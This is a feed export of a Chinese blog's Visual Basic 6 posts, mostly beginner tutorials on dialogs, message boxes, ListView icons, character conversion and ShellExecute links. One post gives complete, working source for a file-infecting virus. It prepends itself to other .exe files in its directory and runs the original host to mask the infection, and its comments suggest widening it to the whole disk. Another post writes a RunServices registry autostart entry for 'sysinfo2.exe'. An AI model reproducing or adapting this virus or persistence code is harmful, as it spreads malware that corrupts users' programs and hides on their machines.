VB – 嗨软 https://ihacksoft.com/archive 分享最好用的常用软件 Tue, 22 Nov 2022 02:41:09 +0000 zh-CN hourly 1 https://wordpress.org/?v=4.9.26 VB乱码?—VB6工程属性汉字乱码的解决方法 https://ihacksoft.com/archive/1197.html https://ihacksoft.com/archive/1197.html#comments Thu, 22 Apr 2010 01:31:23 +0000 https://ihacksoft.com/?p=1926   刚刚在用VB6写个小程序,写好后想再工程属性里添加信息,结果输入汉字居然出现乱码!以前用精简版的VB6都不会这样的。我看了一下我现在用的完整版企业版的VB6,发现居然不是SP6的。是SP6的会在“关于”中显示“SP6”。

  上网搜索了一下有以下两个解决方法:

  1、点击这里下载VB6 SP6补丁,下载后安装。

  2、删除系统中的mingliu字体。

  这两个似乎都可以解决问题。我用了第一种方法解决了问题,第二种方法我没试过。

]]>
https://ihacksoft.com/archive/1197.html/feed 1
VB基础学习之写注册表 https://ihacksoft.com/archive/1166.html https://ihacksoft.com/archive/1166.html#respond Mon, 11 Jan 2010 06:28:42 +0000 https://ihacksoft.com/?p=1895   首先要声明这三个API函数,它们分别是:RegSetValue、RegCreateKey、RegCloseKey,其作用是设置某一个主键的键值、创建一个主键、关闭对注册表主键的操作。

Private Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" _
(ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long,_
ByVal lpData As String, ByVal cbData As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" _
(ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

  然后声明以下两个常数,要进行注册表写入的位置是在HKEY_LOCAL_MACHINE下,我们可以在VB自带的API文本查看器中找到这些常数的定义方法。

Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const REG_SZ = 1

  然后使用如下语句就行了,你可以把这段代码放在程序的某个位置:

'写注册表
Dim Ret2 As Long
'打开HKEY_LOCAL_MACHINE下的
software\microsoft\windows\currentVersion\runServices主键
RegCreateKey HKEY_LOCAL_MACHINE, "software\microsoft\windows\currentVersion\runServices", Ret2
'将此主键下“默认”项的值改为"c:\windows\system\myprogram.exe",也就是要开机运行的程序路径
RegSetValue Ret2, vbNullString, REG_SZ, "c:\windows\system\sysinfo2.exe", 4
'关闭对主键的操作
RegCloseKey Ret2

]]>
https://ihacksoft.com/archive/1166.html/feed 0
VB编写病毒—感染exe文件 https://ihacksoft.com/archive/1139.html https://ihacksoft.com/archive/1139.html#respond Wed, 16 Dec 2009 05:28:31 +0000 https://ihacksoft.com/?p=1868 Private Victim As String '要感染的文件的名字
Private HostLen As Long '要感染的文件的大小
Private vbArray() As Byte '病毒的代码
Private hArray() As Byte '要感染的文件的代码 ]]>
用VB编写的能感染exe文件的病毒,这里只做一个示例。

Private Victim As String '要感染的文件的名字
Private HostLen As Long '要感染的文件的大小
Private vbArray() As Byte '病毒的代码
Private hArray() As Byte '要感染的文件的代码
Private lenght As Long
Private MySize As Integer '病毒的大小
Private Declare Function OpenProcess Lib "kernel32" _
(ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" _
(ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" _
(ByVal hObject As Long) As Long
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
Private Sub form_Initialize()
Dim i As Long
On Error GoTo vbVerror '出错处理

'原理:将生成病毒文件的代码读出,粘在要被感染的文件的后面。
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read _
As #1
ReDim MyArray(LOF(1) - 1)
MySize = LOF(1)
ReDim vbArray(MySize)
Get #1, 1, vbArray
Close #1
'这是在读自己的代码

Victim = Dir(App.Path & "\" & "*.EXE") '随便选一个文件(目前只是在病毒所在的目录下随机选一个,将来你可以修改,让它不断的循环搜索计算机上的所有文件。)
While Victim <> ""

If format(Victim, ">") <> format(App.EXEName & ".EXE", ">") Then
Open App.Path & "\" & Victim For Binary Access Read As #1
ReDim hArray(LOF(1))
Get #1, 1, hArray
Close #1
'读出病毒自身的代码
If hArray(&H69) <> &H4D Then
i = hArray(&H3C)
If hArray(i) = &H50 Then
Open App.Path & "\" & Victim For Binary Access Write As #1
Put #1, , vbArray
Put #1, MySize, hArray
Close #1
End If '要保证被感染的不是空文件(不是圈套)
End If
End If
'读出准备被感染的文件的代码
Victim = Dir() 'Next
Wend

'下面的工作是为了保证病毒不会重复感染一个文件,也不会自我感染。
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
lenght = LOF(1) - MySize
If lenght <> 0 Then
ReDim vbArray(lenght - 1)
Get #1, MySize, vbArray
Close #1

Open App.Path & "\" & App.EXEName & ".eve" For Binary Access Write As #1
Put #1, , vbArray
Close #1

idProg = Shell(App.Path & "\" & App.EXEName & ".eve", vbNormalFocus)
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
GetExitCodeProcess hProg, iExit
Do While iExit = STILL_ACTIVE
DoEvents
GetExitCodeProcess hProg, iExit
Loop
Kill App.Path & "\" & App.EXEName & ".eve"
Else
Close #1
End If
End
vbVerror: '出错处理,空着就可以了
End Sub

]]>
https://ihacksoft.com/archive/1139.html/feed 0
VB编程中遇到“在Imagelist可以使用之前必须将它初始化”的解决方法,不是VB的也进来看看 https://ihacksoft.com/archive/1063.html https://ihacksoft.com/archive/1063.html#respond Thu, 12 Nov 2009 02:31:47 +0000 https://ihacksoft.com/?p=1792 在Imagelist可以使用之前必须将它初始化”的错误提示。怎么回事呢?其实问题很简单,就是因为Listview没有关联好Imagelist,如何关联?这…我不是写过一篇“VB中Listview与Imagelist的关联”吗?不会的快去看看吧! ]]>   以前在写注册表垃圾清理器的时候,遇到过了这么一个问题。我想在Listview控件中插入一张16*16的小图片。但是一运行程序就弹出“在Imagelist可以使用之前必须将它初始化”的错误提示。怎么回事呢?其实问题很简单,就是因为Listview没有关联好Imagelist,如何关联?这…我不是写过一篇“VB中Listview与Imagelist的关联”吗?不会的快去看看吧!

  这个问题不仅仅存在于VB编程,包括.net、asp啊其实都一样。我在Delphi编程里也遇到过这个问题,解决方法还是关联好Listview控件与Imagelist控件。

]]>
https://ihacksoft.com/archive/1063.html/feed 0
VB编程基础学习系列—VB打开与保存文件 https://ihacksoft.com/archive/1057.html https://ihacksoft.com/archive/1057.html#respond Tue, 10 Nov 2009 08:51:06 +0000 https://ihacksoft.com/?p=1786
从部件里添加一个CommonDialog控件(不会添加CommonDialog控件的点这里),写入以下代码即可!
]]>
以前自己写的一套VB编程基础系列教程,适合VB初学者。

从部件里添加一个CommonDialog控件(不会添加CommonDialog控件的点这里),写入以下代码即可!

CommonDialog1.Filter = "文本文档(*.txt)|*.txt|ASP文件(*.asp)|*.asp|VBS脚本(*.vbs)|*.vbs|所有文件(*.*)|*.*" '显示要保存的所有类型
CommonDialog1.filterindex = 1 '默认保存文件的类型
CommonDialog1.Action = 2 '1为打开,2为保存
Dim str As String
str = CommonDialog1.FileName 'str等于输入保存的文件名
If (Trim(str) <> "") Then
   Set fso = CreateObject("scripting.filesystemobject")
   Set txt = fso.createtextfile(str)
   txt.write (Text1.Text)
   MsgBox "文件保存成功!", vbOKOnly + vbInformation, "操作提示"
End If

]]>
https://ihacksoft.com/archive/1057.html/feed 0
VB编程基础学习系列—VB中Listview与Imagelist的关联 https://ihacksoft.com/archive/1053.html https://ihacksoft.com/archive/1053.html#respond Mon, 09 Nov 2009 07:11:05 +0000 https://ihacksoft.com/?p=1782   在VB中加入Listview和Imagelist控件,右击Imagelist控件点属性,在弹出的属性页中选择图片,可以调整图片大小。然后右击Listview点属性,在图像列表选项卡里,选择刚才添加的Imagelist,包括普通、小图标和列标头。

]]>
https://ihacksoft.com/archive/1053.html/feed 0
教你用VB编写一个简体繁体字转换工具 https://ihacksoft.com/archive/1049.html https://ihacksoft.com/archive/1049.html#respond Mon, 09 Nov 2009 01:28:32 +0000 https://ihacksoft.com/?p=1778
Option Explicit
Private Declare Function LCMapString Lib "kernel32" Alias _ ]]>
不多说了,大家自己看代码吧!

Option Explicit
Private Declare Function LCMapString Lib "kernel32" Alias _
"LCMapStringA" (ByVal Locale As Long, ByVal dwMapFlags As _
Long, ByVal lpSrcStr As String, ByVal cchSrc As Long, _
ByVal lpDestStr As String, ByVal cchDest As Long) As Long
Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" _
(ByVal lpString As String) As Long

Dim STf As String, 繁体字符串
Dim STj As String, 简体字符串
Dim STlen As Long, 待转换字串长度
Private Sub Command1_Click() 'Gb码简体转繁体
STj = Text1.Text
STlen = lstrlen(STj)
STf = Space(STlen)
LCMapString &H804, &H4000000, STj, STlen, STf, STlen
Debug.Print STf
Text2.Text = STf
End Sub

Private Sub Command2_Click() 'Gb码繁体转简体
STf = Text2.Text
STlen = lstrlen(STf)
STj = Space(STlen)
LCMapString &H804, &H2000000, STf, STlen, STj, STlen
Debug.Print STj
Text1.Text = STj
End Sub

Private Sub Form_Load()
Command1.Caption = "转成繁体"
Command2.Caption = "转成简体"
End Sub

最后的软件效果图:
VB编写一个简体繁体字转换工具

]]>
https://ihacksoft.com/archive/1049.html/feed 0
VB编程基础学习系列—VB之消息框与输入框 https://ihacksoft.com/archive/1048.html https://ihacksoft.com/archive/1048.html#respond Mon, 09 Nov 2009 01:13:47 +0000 https://ihacksoft.com/?p=1777 Msgbox

消息框里的图标:
vbquestion 表示询问 ]]>
以前自己写的一套VB编程基础系列教程,适合VB初学者。

Msgbox

消息框里的图标:
vbquestion 表示询问
vbinformation 表示消息
vbexclamation 表示警告
vbcritical 表示危机
例如:msgbox "Can you speak english?",vbyesnocancel+vbquestion,"hello"
弹出:
VB消息框与输入框

例如:
i=msgbox("Can you speak english?",vbyesnocancle+vbquestion,"hello")
select case i
case vbyes
msgbox "我按了yes"
case vbno
msgbox "我按了No"
case vbcancel
msgbox "我按了cancel"
end select

常数 值 按钮
VBOK 1 确定
VBCancel 2 取消
vBabort 3 终止
VBRetry 4 重试
VBIgnore 5 忽略
VBYes 6 是
VBNo 7 否

Inputbox

例如:
hqw=inputbox("what is your name?","hello")
if hqw="" then
end

hqw返回的是string,就等于用户输入的字符串。
当用户按了取消按钮后,这个变量即P将返回一个空值。

]]>
https://ihacksoft.com/archive/1048.html/feed 0
VB编程基础学习系列—用VB选择、定位文件夹 https://ihacksoft.com/archive/1047.html https://ihacksoft.com/archive/1047.html#respond Mon, 09 Nov 2009 01:02:49 +0000 https://ihacksoft.com/?p=1776
CommonDialog.ShowOpen可以选择一个文件,但是选定一个文件夹时是默认打开这个文件夹,我现在想只定位到文件夹该怎么办呢?
添加一个Text、Command和Commondialog控件。 ]]>
以前自己写的一套VB编程基础系列教程,适合VB初学者。

CommonDialog.ShowOpen可以选择一个文件,但是选定一个文件夹时是默认打开这个文件夹,我现在想只定位到文件夹该怎么办呢?
添加一个Text、Command和Commondialog控件。

VB选择、定位文件夹程序代码如下:

Option Explicit
Private Declare Function SHBrowseForFolder Lib "shell32.dll" Alias _
"SHBrowseForFolderA" (LpBrowseInfo As BROWSEINFO) As Long
Private Declare Function SHGetPathFromIDlist Lib "shell32.dll" Alias _
"SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long
Private Type BROWSEINFO
hOwner As Long
pidlroot As Long
pszDisplayName As String
lpszTitle As String
ulFlags As Long
lpfn As Long
lparam As Long
iImage As Long
End Type

Private Function GetFolder(ByVal hWnd As Long, Optional Title As String) As String
Dim bi As BROWSEINFO
Dim pidl As Long
Dim folder As String
folder = Space(255)
With bi
If IsNumeric(hWnd) Then .hOwner = hWnd
.pidlroot = 0
If Title <> "" Then
.lpszTitle = Title & Chr$(0)
Else
.lpszTitle = "选择目录" & Chr$(0)
End If
End With

pidl = SHBrowseForFolder(bi)
If SHGetPathFromIDlist(ByVal pidl, ByVal folder) Then
GetFolder = Left(folder, InStr(folder, Chr$(0)) - 1)
Else
GetFolder = ""
End If
End Function

Private Sub Command1_Click()
Text1.Text = GetFolder(Me.hWnd, "请选择一个文件夹:")
End Sub

如何添加Commondialog控件?

可能有的小菜会找不到,这里说明一下。在VB环境里按Ctrl+T,在弹出的“部件”里选择Microsoft Common Dialog Control 6.0,然后“确定”即可。

]]>
https://ihacksoft.com/archive/1047.html/feed 0
VB编程基础学习系列—在所写的软件上加上超级链接 https://ihacksoft.com/archive/1041.html https://ihacksoft.com/archive/1041.html#respond Sat, 07 Nov 2009 08:31:29 +0000 https://ihacksoft.com/?p=1770
本程序主要是用到了ShellExecute函数,这个函数在VB编程里是非常重要的,所以首先来了解一个这个API函数。
【VB声明】
Private Declare Function ShellExecute Lib ]]>
以前自己写的一套VB编程基础系列教程,适合VB初学者。

本程序主要是用到了ShellExecute函数,这个函数在VB编程里是非常重要的,所以首先来了解一个这个API函数。

【函数说明】
使用ShellExecute函数,调用默认的外部浏览器和电子邮件工具来浏览网页和发送电子邮件。

【VB声明】
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

【说明】
查找与指定文件关联在一起的程序的文件名。

【返回值】
Long,非零表示成功,零表示失败。会设置GetLastError。

【参数表】
hwnd ----------- Long,指定一个窗口的句柄,有时候,windows程序有必要在创建自己的主窗口前显示一个消息框
lpOperation ---- String,指定字串“open”来打开lpFlie文档,或指定“Print”来打印它
lpFile --------- String,想用关联程序打印或打开一个程序名或文件名
lpParameters --- String,如lpszFlie是可执行文件,则这个字串包含传递给执行程序的参数
lpDirectory ---- String,想使用的完整路径
nShowCmd ------- Long,定义了如何显示启动程序的常数值。

源程序:
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Private Sub Label1_Click()
Call ShellExecute(Form1.hwnd, "open", "http://www.hack0573.com", vbNullString, vbNullString, &H0)
End Sub

Private Sub Label2_Click()
Call ShellExecute(Form1.hwnd, "Open", "mailto:hqw198726@126.com", "", App.Path, 1)
End Sub

没错,就是这么简单。解释一下上面的代码:
比如我们要使用IE打开标签中的超链接,则我们可以在标签的Click()过程中加入如下一句代码:
Call ShellExecute(Form1.hwnd, "open", "http://www.hack0573.com", vbNullString, vbNullString, &H0)

其中http://www.hack0573.com是要打开的超链接,"open"是采用打开的方法,&H0表示用默认程序IE打开时,IE窗口可见。

又比如我们要打开默认的电子邮件工具发送邮件,则使用下面语句:
Call ShellExecute(Form1.hwnd, "Open", "mailto:hqw198726@126.com", "", App.Path, 1)

最后我们设置标签Label的字体为下划线,MouseIcon选择一个小手状的图标,把MousePointer设为99-Custom,这样就能模拟超链接的效果了。小手图标搜索自己的系统*.cur文件。

]]>
https://ihacksoft.com/archive/1041.html/feed 0